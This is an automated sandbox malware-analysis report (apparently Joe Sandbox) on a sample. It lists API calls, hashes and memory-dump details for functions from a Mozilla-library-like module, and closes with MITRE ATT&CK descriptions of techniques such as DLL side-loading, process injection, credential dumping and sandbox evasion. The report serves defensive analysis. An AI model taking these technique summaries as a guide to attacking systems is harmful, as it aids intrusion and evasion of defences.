Opcode ID: 4022cf3f1df537740b1bdb4beaf18541fc941f83241f324ce34933cfe3ea4f6c
Instruction ID: f0bee69f21bd324d28a9b356b64e89f517da8b1709fb148d9c9f7dabc59c093b
Opcode Fuzzy Hash: 4022cf3f1df537740b1bdb4beaf18541fc941f83241f324ce34933cfe3ea4f6c
Instruction Fuzzy Hash: 2051F075A0021A8FCB14CF18C890AAABBB5FF99304F198599D8595F352E731ED46CBE0

Function 6CAB6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CAB82BC,?,?), ref: 6CAB649B

Part of subcall function 6CA8CA10: malloc.MOZGLUE(?), ref: 6CA8CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB64A9

Part of subcall function 6CAAFA80: GetCurrentThreadId.KERNEL32 ref: 6CAAFA8D
Part of subcall function 6CAAFA80: AcquireSRWLockExclusive.KERNEL32(6CAFF448), ref: 6CAAFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB653F
free.MOZGLUE(?), ref: 6CAB655A

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 337f06468d299ef4a9ec34e956401c81f11e7481a592994ec18240b7d8e44a28
Instruction ID: cdac181079449c12798985a8658f5d9b07d6a26cae7b6d4de0f88d96bfa66836
Opcode Fuzzy Hash: 337f06468d299ef4a9ec34e956401c81f11e7481a592994ec18240b7d8e44a28
Instruction Fuzzy Hash: 9C3182B5A043059FD704CF14D984A9EBBF4FF99314F00852EE89A97741EB30E959CB92

Function 6CA8B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA8B4F5
AcquireSRWLockExclusive.KERNEL32(6CAFF4B8), ref: 6CA8B502
ReleaseSRWLockExclusive.KERNEL32(6CAFF4B8), ref: 6CA8B542
free.MOZGLUE(?), ref: 6CA8B578

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: eb0e772a737d704fbd4908c7e22f05ca136dd9e19e15e07ff4507f56ae272edd
Instruction ID: 660182ec5a6c6530c8acfec8ff23925a87fcb48b6cb623127484c82034d48eb8
Opcode Fuzzy Hash: eb0e772a737d704fbd4908c7e22f05ca136dd9e19e15e07ff4507f56ae272edd
Instruction Fuzzy Hash: 0611D230905B42CBD3158F29E8007A5B3F0FF9A319F14970EE89A53A41EBB1A5C6C790

Function 6CAB3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CA7F20E,?), ref: 6CAB3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CA7F20E,00000000,?), ref: 6CAB3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAB3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CAB3E0E

Part of subcall function 6CAACC00: GetCurrentProcess.KERNEL32(?,?,6CA731A7), ref: 6CAACC0D
Part of subcall function 6CAACC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CA731A7), ref: 6CAACC16

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 0813498c6f2a2c69b93f3e4b022d79081f5d8999a23cdf762024774c6f82835d
Instruction ID: a44e26930c5fbbefd3c4ac38efadcdf61558c61de7889675f933dd0f81d14b86
Opcode Fuzzy Hash: 0813498c6f2a2c69b93f3e4b022d79081f5d8999a23cdf762024774c6f82835d
Instruction Fuzzy Hash: 81F082B15003097BE704AB54EC81DAB377DDB46628F044020FD1917740D635BE5A86F7

Function 6CAC85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CAC85D3

Part of subcall function 6CA8CA10: malloc.MOZGLUE(?), ref: 6CA8CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CAC8725

Strings

map/set<T> too long, xrefs: 6CAC8720

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 5b92ec8a445c0e35cfd81da3036de7617e4352da1ee73e80a3750c9cca992b67
Instruction ID: e0814fca6bad451e2b86e27d3d254a471e5f2fe83aa664d2770bbce66cc7af71
Opcode Fuzzy Hash: 5b92ec8a445c0e35cfd81da3036de7617e4352da1ee73e80a3750c9cca992b67
Instruction Fuzzy Hash: F3515474A00685CFD701CF28C184A9ABBF1BF4A318F19C29AD8595BB52C375E885CF92

Function 6CA7BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CA7BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA7BE8F

Strings

0, xrefs: 6CA7BE5B

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 49d9ba42e10fa809a732ded059d04273b974b438fce720103f08244df3263cc7
Instruction ID: 4014d4fc303f916db42b5a4f95e80efa1c13ed0e6aeb19ecffa0bd84c3954c11
Opcode Fuzzy Hash: 49d9ba42e10fa809a732ded059d04273b974b438fce720103f08244df3263cc7
Instruction Fuzzy Hash: A241AFB5908745CFC321CF28D581A9BB7F4BF8A348F008B1DF98597711E73099898BA2

Function 6CAB3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAB3D19
mozalloc_abort.MOZGLUE(?), ref: 6CAB3D6C

Strings

d, xrefs: 6CAB3D58

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 571adaaca9b208d2c6fddc084e46e8c24f2015428890534dd04788c8b229cb6e
Instruction ID: 5ccaab2d27a2fe0a701e5e9f15b6d501bca90569a2973912b9316a60572d8d41
Opcode Fuzzy Hash: 571adaaca9b208d2c6fddc084e46e8c24f2015428890534dd04788c8b229cb6e
Instruction Fuzzy Hash: 19110435E04789DBDF049F69DC144EDB779EF9A218B488718DC95AB602EF30A5C9C390

Function 6CAD6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CAD6E22
__Init_thread_footer.LIBCMT ref: 6CAD6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CAD6E1D

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 593ff198b6a75883506d54756f5fc7172353f98e52d5f8c71158431b31e9cb9f
Instruction ID: 6db3f387a9f682ebbfe3dc46f15b490b205b81e8ea390518359078c655d82e0e
Opcode Fuzzy Hash: 593ff198b6a75883506d54756f5fc7172353f98e52d5f8c71158431b31e9cb9f
Instruction Fuzzy Hash: FDF024702043C38FDB048B68ED90AD933F2A313218F094569DC2087B51DF31B98BCAA3

Function 6CA89E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CA89EEF

Strings

NaN, xrefs: 6CA89EC1
Infinity, xrefs: 6CA89EB7

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 4f9d0ca3f084b1fe6ebaeeec77668b9298972b9474450c54e48404b9b6249fce
Instruction ID: ef0f3944ce410417d85d1ef3636941c1ce22ee159c1545a117f032bdd5f3296a
Opcode Fuzzy Hash: 4f9d0ca3f084b1fe6ebaeeec77668b9298972b9474450c54e48404b9b6249fce
Instruction Fuzzy Hash: 4BF069716013428FEA048B58FD8569037F1B74B30CF248A1CD9604AB40D3356987CAB2

Function 6CA8BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CA8BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CA8BEF5

Strings

cryptbase.dll, xrefs: 6CA8BEF0

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c4963745e40b73fd4f3c3c320e375d06760b3c76d40072c985782bd692605429
Instruction ID: de6a36eae4ee6224a5e66a6b3a5038080e57ef6c0648c191562ec3148b4a7d16
Opcode Fuzzy Hash: c4963745e40b73fd4f3c3c320e375d06760b3c76d40072c985782bd692605429
Instruction Fuzzy Hash: 20D0A731181208EFCB046A50FD05B153B74A701715F10C120F32544951C7B09491CB60

Function 6CACB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CACB2C9,?,?,?,6CACB127,?,?,?,?,?,?,?,?,?,6CACAE52), ref: 6CACB628

Part of subcall function 6CAC90E0: free.MOZGLUE(?,00000000,?,?,6CACDEDB), ref: 6CAC90FF
Part of subcall function 6CAC90E0: free.MOZGLUE(?,00000000,?,?,6CACDEDB), ref: 6CAC9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CACB2C9,?,?,?,6CACB127,?,?,?,?,?,?,?,?,?,6CACAE52), ref: 6CACB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CACB2C9,?,?,?,6CACB127,?,?,?,?,?,?,?,?,?,6CACAE52), ref: 6CACB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CACB127,?,?,?,?,?,?,?,?), ref: 6CACB74D

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: f46671e64a16e7822c52150206e8b0e99b23e46026f3021c558b59ab4f53b99b
Instruction ID: 3d309f6a09179bf83babc61fd1d8234c05d88e303acec5d2ce26f88f2bc82804
Opcode Fuzzy Hash: f46671e64a16e7822c52150206e8b0e99b23e46026f3021c558b59ab4f53b99b
Instruction Fuzzy Hash: 2051E175B023168BDB14CF19E98079EB7B5FF44305F058629CC56AB700DB32A894CB92

Function 6CADB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CA80A4D), ref: 6CADB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CA80A4D), ref: 6CADB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CA80A4D), ref: 6CADB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CA80A4D), ref: 6CADB67F

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 36740caeaf49406ab614f83fe237fd394f8982f3c4b5a1233413a2060fbcc32d
Instruction ID: cae247884e0b216ec11d50383704f8f6e4bacba0f14647a49f6cbb0b2bf7f57b
Opcode Fuzzy Hash: 36740caeaf49406ab614f83fe237fd394f8982f3c4b5a1233413a2060fbcc32d
Instruction Fuzzy Hash: 58310671A002168FDB10CF59E84469ABBF6FF80304F1B8669E8169B301DB31F956CBE0

Function 6CAAF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CAAF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CAAF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CAAF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CAAF668

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 23b2829a0ff86a03392cca18f9a3c2596be831991d0c63e8c14415ea713b8f5a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 10314171A002159FC718CF5DCDC0A9BBBB6FB88358B18853DFA498BB14D631E9858B90

Function 6CAC26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAC26C1
free.MOZGLUE(?), ref: 6CAC26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAC26FF
free.MOZGLUE ref: 6CAC270D

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: cbe38228c97113a072ff89782e6b8379395d067e59bc21d722b32d37e735e77a
Instruction ID: 450a745eaebb557cdc282a148a9c8a0c887bb05db07b2afeda5cde8d2f3a37e8
Opcode Fuzzy Hash: cbe38228c97113a072ff89782e6b8379395d067e59bc21d722b32d37e735e77a
Instruction Fuzzy Hash: EAF0F9B27012015BE7109E19E8C4E87B3A9EF4125CB140235EA1AC3B01E732F999C6A3

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

